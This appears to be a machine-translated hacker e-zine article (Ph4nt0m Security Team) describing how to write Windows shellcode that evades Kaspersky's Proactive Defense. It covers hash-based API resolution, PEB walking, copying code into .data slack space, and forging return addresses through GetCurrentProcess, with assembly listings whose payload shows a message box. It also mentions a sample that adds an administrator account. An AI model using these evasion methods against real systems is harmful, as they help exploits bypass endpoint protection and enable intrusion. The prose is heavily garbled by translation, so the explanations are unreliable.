==Ph4nt0m Security Team==
Issue 0x02, Phile #0x08 of 0x0A
|=---------------------------------------------------------------------------=| |=-----------------=[ Bypass Kaspersky Proactive Defense system method discussions]=----------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=------------------------=[ By lisl03]=-----------------------=| |=----------------------=[ <lisl03_at_gmail. com> ]=---------------------=| |=---------------------------------------------------------------------------=|
Kaspersky's Proactive Defense system since the launch, greatly enhance the system's security features, so that the previously used some Attack operation becomes not so easy. In the implementation of overflow attacks when, if our ShellCode just get to perform it Is card bar to Bar down, then carefully prepared by the vulnerabilities in the EXP program will be dropped. Therefore, it is necessary to study the ShellCode programming by Kaspersky Proactive Defense the problem.
By drawing on gyzy prawns to write the stack-based fingerprint detecting a buffer overflow of some ideas and czy in focus published The reviews of“stack-based fingerprint detecting a buffer overflow of some ideas”article, I will these knowledge and technology digest post To organize, together with the previous find their own way out of some of the methods and experience, integrated into this article, want to be able to Help.
About Kaspersky Personal Security Suite products active Defense of the principle will not long-winded. Need to add is, in fact, On the occasion of the Kaba in to do a return address check the time in addition to detecting the return address is on the stack, also will detect the return address is in The process of heap space. If the detected function will be returned to the heap implementation, then the card bar will still pop-up alarm window. Only Is the alarm window gives a hint with the stack overflow is slightly different, as shown in Figure.
The attached sample code ShellCode1. c and ShellCode2. c can prove it. These two files the main The difference is ShellCode1. c create a new heap application a space after the ShellCode is copied into the stack space; and ShellCode2. c is directly in the process's default heap to apply for a piece of space the shellcode copy performed to the space to perform. Kappa the purpose of doing so is that it for the stack overflow type of attack can also be detected.
The following article is mainly focused to explain that bypass Kaspersky Proactive Defense of ShellCode writing skills and methods:
1, Do not use Active defense system Hook the function
The easiest way is to write the ShellCode when you try not to call GetProcAddress and LoadLibrary function. Kernel32. dll and Ntdll. dll is when the process starts you must load the two modules. In Win32 system, Kernel32.dll Windows system is a very important Dynamic Link Library File, which provides the system's memory management, data input and output Operation API function. Therefore, to write ShellCode API function basic are concentrated in the Dll file. Use The dynamic link libraries export the APIS of the function has been able to complete the new account, copy, File Execution and so on function ShellCode Write requirements. When using this method since we can't use GetProcAddress to directly get the API function address in the Locate the other to use the API function address, you can will be the function name and the Dll module Export Directory find To the name of the function to match. Of course, it is best to first obtain the pending bit of the function name Hash value, and then perform a Hash value comparison Way to find out. Doing so can not only reduce the ShellCode written complexity, since the function names are mapped to 4 bytes The encoding also greatly reduce the ShellCode size. Sample code ShellCode3. c is to not call the above characteristic function, direct Connected to the Hash value matching the positioning function address, adding to the system administrator account example.
If our ShellCode to be used in another Dll module export an API function, and we can't call LoadLibrary to locate the module base address? In this case by the PEB structure of the 0x0C offset is pointing to PEB_LDR_DATA structure to locate the module address. The structure has three members of the list entry containing the process to load to the inner The memory space of all Dynamic Link Library Information. Thus, if we need to use network-related API functions, then you can in PEB positioned to WS2_32. dll module, and then find according to the foregoing method to find the Socket function address. Of course If the process is not loaded we have to use the Dll module then it cannot be the module address location, which is also used This method is flawed. Sample code ShellCode1. c is the first location of the Ntdll address of the module, and then look to The module of the heap allocation function RtlAllocateHeap example.
2, The copy of the code to the program. The Data then skip to
In the previously developed vulnerability to overflow a program of practice, the author has actually been in use a bypass card, etc. an overflow detection system The traditional approach: access to the control of the CPU, first find a writable executable memory space, and then the ShellCode moved Move to the address space and then jumps to perform. When you call the GetProcAddress and LoadLibrary function, Kaba will be considered The function's return address is a normal address range, so natural to our ShellCode out of the pass .
Typically, for work in Ring3 applications. the text segment is not writable, so we will look to go To the executable program. data segment. In a Win32 system, The section in the disk file of the aligned unit 200h, 512Byte to Is less than the memory alignment of the units of the 1000h, 4K Byte one. Thus, in General the executable file is mapped into memory there is always a period of Free space, we“borrow”the space after and will not destroy the original file data. App. data segment address see Figure two:**** !
Figure II, the program memory address space distribution
From OllyDbg can be seen in the Demo program. data segment from the address 0x407000 start, since the address 0x407380 after . data segment content is substantially 0. Sample code ShellCode4. c from the first module Kernel32. dll to locate the exported In the ShellCode functions to achieve part of the need to use the API function, and stored in the to ESI indicating a section of stack space. Copy Bay function first to save the copy of the code, starting address, and then copy has been located of the API function address, and then copy the ShellCode The function code, and finally jump to the copy of the good of the ShellCode execution. The specific process is not explained, combined with the procedures of the note Release believe readers soon will be able to understand. Complete the code please look at the sample code ShellCode4. c.
mov dword ptr [esi+_BUFF], 0x407380//copy the Code of the destination address call MEMCPY_CODE
//-------------Prepare to achieve the function of the shellcode assembler code------------- mov esi, dword ptr [esi+_BUFF]
push 00003233h push 72657375h push esp //“User32”string into the stack call dword ptr [esi+BUF_LOADLIBRARYA] //call LoadLibraryA（“User32”） mov dword ptr [esi+BUF_USER32],eax //the User32 module address into the stack
mov ebx,eax push 0x0041786f push 0x42656761 push 0x7373654D //MessageBoxA push esp push ebx call dword ptr [esi+BUF_GETPROCADDRESS]//call GetProcAddress function mov dword ptr [esi+BUF_MESSAGEBOXA],eax
push 216fh push 6c6c6548h //Hello! mov dword ptr [esi+BUF_HELLO], esp
push 0000007Eh push 7E7E7E7Ah push 68646D43h push 7E7E7E7Eh //~~~~ Cmdhz~~~~ mov dword ptr [esi+BUF_CMDHZ], esp
push 0 push dword ptr [esi+BUF_HELLO] push dword ptr [esi+BUF_CMDHZ] push 0 call dword ptr [esi+BUF_MESSAGEBOXA] //call the MessageBox function
push 0 call dwordptr [esi+BUF_EXITPROCESS] //call ExitProcesox exit process
//-------------Prepare to achieve the function of the shellcode assembler code end-------------
MEMCPY_CODE: pop eax mov dword ptr [esi+_FUNCSTART], eax //Save to copy the code starting address push esi mov ecx, FUNCNUMBER //copy will use the API function address mov edi, dword ptr [esi+_BUFF] lea esi, dword ptr [esi+_LOADLIBRARYA] rep MOVS dword ptr [edi], dword ptr [esi] pop esi
push esi //copy to achieve the function of the shellcode code mov ecx, SCLENGTH mov esi, dword ptr [esi+_FUNCSTART] shr ecx, 2 rep MOVS dword ptr [edi], dword ptr [esi] pop esi
push esi mov ecx, SCLENGTH //avoid byte instruction is not in accordance with the 4-byte aligned case and ecx, 0x3 rep MOVS byte ptr [edi], byte ptr [esi] pop esi
mov eax, dword ptr [esi+_BUFF] add eax, 4*3 //skip the API function the address space occupied by the jmp eax
The disadvantage of this method is: it may be because the program is not loaded into the default memory address is caused by. data segment in memory The address is not fixed, resulting in a write to. data space failed.
3, by two times to return to bypass Proactive Defense detection
Czy in the reviews of“stack-based fingerprint detecting a buffer overflow of some ideas”article mentioned in the bypassing method is very. Points, the author after some debugging after the principles are set forth as follows:
We know that in function calls when the stack distribution as shown in Figure three A in Fig. When we were in the ShellCode in tune Use GetProcAddress if the function of the real return address is inserted before the one in Kernel32. dll module in the address The spatial range of the address B, then the function call stack of the distribution as shown in Figure three B shown in Fig. Then the active defense system in the intake Line detection will be considered this call as a normal API call, which successfully got the Kabbah issued to ShellCode pass Certificate. When the end of the call will be executed when the flow returns to address B and address B saved for the article skip the Ret instruction, then the program will re a Execution of the return operation, the program will correctly return to the address A at which to continue execution.
In the Kernel32. dll exported function have one abnormal simple export function GetCurrentProcess, disassembly Display the function only if the following two statements:
We use the GetCurrentProcess function to address the downward offset 3 byte at address as an address B to control the thread The sequence of the jump. In the program implementation when using a skill, the first implementation of Call Func1 without altering the program flow in the case to The stack is pressed into the current EIP value add dword ptr [esp], 0xD instruction to modify the pressure into the return address value is correct The function return address. In the ready function of the parameters, a direct Jmp to the address of the function at execution. Complete the code please look at the example Code ShellCode5. c.
//-------------Prepare to achieve the function of the shellcode assembler code------------- push 00003233h push 72657375h //"User32"string into the stack mov dword ptr [esi+_USER32STR], esp
call FUNC1 FUNC1: add dword ptr [esp], 0xD //modify the function return address push dword ptr [esi+_USER32STR] push DWORD ptr [esi+_GETCURRENTPROCESS] //pressed into the forged return address
jmp dword ptr [esi+_LOADLIBRARYA] //call LoadLibraryA（“User32”） mov dword ptr [esi+_USER32],eax
push 0x0041786f push 0x42656761 push 0x7373654D //MessageBoxA mov dword ptr [esi+_MESSAGEBOXSTR], esp
call FUNC2 FUNC2: add dword ptr [esp], 0x10 //modify the function return address push dword ptr [esi+_MESSAGEBOXSTR] push dword ptr [esi+_USER32] push dword ptr [esi+_GETCURRENTPROCESS] //pressed into the forged return address
jmp dword ptr [esi+_GETPROCADDRESS] mov dword ptr [esi+_MESSAGEBOX],eax
push 0000007Eh push 7E7E7E7Ah push 68646D43h push 7E7E7E7Eh //~~~~ Cmdhz~~~~ mov dword ptr [esi+_CMDHZ], esp
push 216fh push 6c6c6548h mov dword ptr [esi+_HELLO], esp
push 0 push dword ptr [esi+_HELLO] push dword ptr [esi+_CMDHZ] push 0 call dword ptr [esi+_MESSAGEBOX] //call the MessageBox function
push 0 call dword ptr [esi+_EXITPROCESS] //call ExitProcess to exit the process
//Prepare to achieve the function of the shellcode assembler code end
The above code, The attentive reader might ask, why modify to modify the press-in the function returns the address of the added value Is 0xD? In fact, this value is pressed into the function parameters and the jump instruction of the machine code bytes in length. As shown in Figure V: pressure Into the stack the return address is 0x10ffec, and the function after executing the LoadLibrary right after the return address is 0x10ff9 it. The two address difference values for 0x10ff9 － 0x10ffec a = 0xD, so it should be correction return address should be added to the 0xD's. Tone Use GetProcAddress when the amended return to the address calculation method similar to this.
About bypass the active Defense of the method's description here. Readers will find the latter two methods from the principle in terms of having A certain similarity, just in the realization of different fills. In this method, is not to be in memory to find a jmp esp Instructions to replace GetCurrentProcess return address? Take the GetCurrentProcess function is the address of the method what Benefits? With a few simple tests will be able to answer these questions.